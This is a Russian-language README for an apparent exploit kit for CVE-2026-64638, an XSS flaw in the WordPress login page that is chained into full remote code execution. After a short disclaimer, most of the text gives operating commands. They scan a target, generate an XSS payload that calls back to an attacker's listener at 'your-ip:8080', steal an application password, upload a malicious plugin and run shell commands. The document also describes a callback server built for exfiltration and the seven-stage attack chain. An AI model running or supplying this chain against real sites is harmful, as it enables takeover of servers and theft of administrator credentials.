
CVE-2026-64638: WordPress XSS до аутентификации → RCE (XSS2Shell) PoC
Предварительно аутентифицированный отражённый XSS → удалённое выполнение кода в ядре WordPress
⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Данный репозиторий предназначен только для авторизованных исследований в области безопасности и образовательных целей. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Несанкционированный доступ незаконен. См. SECURITY.md.
CVE-2026-64638 — это предварительно аутентифицированный отражённый XSS в конвейере обработки входа в систему / wplogin ядра WordPress. Уязвимость вызвана различием в работе парсеров: некорректный ввод переживает strip_tags() в PHP, но позже реконструируется как HTML функцией wp_kses_post(), что позволяет подконтрольному атакующему разметке достичь DOM.
Исследователи из pwn.ai продемонстрировали XSS2Shell — цепочку, которая повышает этот XSS до полного выполнения PHP-кода в стандартной установке WordPress, когда аутентифицированный администратор взаимодействует с подконтрольным атакующему контентом.
| Свойство | Значение |
|---|---|
| CVE | CVE-2026-64638 |
| CVSS | 8.9 |
| Тип | Отражённый XSS → цепочка до RCE |
| Компонент | Страница входа ядра WordPress |
| Затронуты | WordPress < 7.0.3 (бэкпорты до 4.7) |
| Исправлено | WordPress 7.0.3 (6 августа 2026 года) |
| Корневая причина | Различие парсеров: strip_tags() против wp_kses_post() |
git clone https://github.com/<your>/CVE-2026-64638-POC.git
cd CVE-2026-64638-POC
# One command — spin up vulnerable WordPress 7.0.2 + run full chain
./test.sh up
./test.sh chain
Что происходит:
[СТАДИЯ 1] WordPress 7.0.2 → УЯЗВИМ
[СТАДИЯ 2] Сгенерирован URL с XSS-пейлоадом
[СТАДИЯ 3] Создан пароль приложения
[СТАДИЯ 4] Плагин загружен и активирован
[СТАДИЯ 5] RCE → uid=33(www-data)
./test.sh up # Запуск Docker + установка WordPress (admin/admin123)
./test.sh scan # Определение версии и статуса исправления
./test.sh chain # Запуск полной цепочки XSS2Shell RCE
./test.sh all # up + scan + chain (всё в одном)
./test.sh down # Остановка контейнеров
./test.sh clean # Остановка + удаление всех томов
# Или через Make
make up # Запуск Docker
make install # Установка WordPress
make scan # Проверка уязвимости
make gen-xss # Генерация URL с XSS-пейлоадом
make test-chain # Полная цепочка RCE
make serve # Запуск callback-сервера на :8080
make down # Остановка контейнеров
CVE-2026-64638-POC/
├── README.md
├── SECURITY.md # Политика безопасности и отказ от ответственности
├── docker-compose.yml # WordPress 7.0.2 + MySQL 8 + WP-CLI
├── Makefile # Команды-сокращения
├── test.sh # Автоматизированный набор тестов
├── requirements.txt # Python-зависимости
│
├── xss2shell_chain.py # [ГЛАВНЫЙ] Полная цепочка: scan → XSS → app-password → plugin → RCE
├── xss2shell_scanner.py # Определение версии + тест отражения имени пользователя
├── xss2shell_checker.py # Лёгкий проверщик исправлений (безопасный, без эксплуатирования)
├── exploit_server.py # Callback-сервер для эксфильтрации XSS
├── xss_payload.html # Интерактивный PoC XSS (браузер)
│
└── docs/
├── CHAIN.md # Технический разбор всех 7 стадий цепочки
├── MITIGATION.md # Рекомендации по защите + правила обнаружения
└── PAYLOAD_NOTES.md # Заметки о пейлоаде, специфичном для обхода CVE
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
# Сканирование цели
python3 xss2shell_chain.py scan -u https://target.example.com
# Генерация XSS-пейлоада
python3 xss2shell_chain.py gen-xss -u https://target.example.com -c http://your-ip:8080
# Полная цепочка (требуются учётные данные администратора WordPress)
python3 xss2shell_chain.py chain \
-u https://target.example.com \
--user admin --pass "password" \
--cmd "id"
# Отдельные стадии
python3 xss2shell_chain.py stage-apppass -u URL --user U --pass P
python3 xss2shell_chain.py stage-plugin -u URL --apppass "PASS"
python3 xss2shell_chain.py stage-rce -u URL --cmd "whoami"
Полные подробности см. в docs/CHAIN.md.
┌─────────────────────────────────────────────────────────────────┐
│ 1. Отражённый XSS на wp-login.php (страница ошибки входа) │
│ 2. DOM-клобберинг для управления контекстом страницы │
│ 3. JSONP / Same-Origin Method Execution (SOME) │
│ 4. Создание пароля приложения через REST API │
│ 5. Доступ к REST API с украденным паролем приложения │
│ 6. Загрузка вредоносного плагина/темы │
│ 7. Выполнение PHP-кода → полный RCE │
└─────────────────────────────────────────────────────────────────┘
Примечание: стадии 3–7 требуют, чтобы вошедший в систему администратор взаимодействовал с XSS-пейлоадом. Уязвимость существует до аутентификации, но полная цепочка RCE для завершения требует доступа уровня администратора.
Подробные рекомендации по усилению защиты и правила обнаружения см. в docs/MITIGATION.md.
Исследование безопасности и PoC. Только для образовательных целей.
MIT — см. LICENSE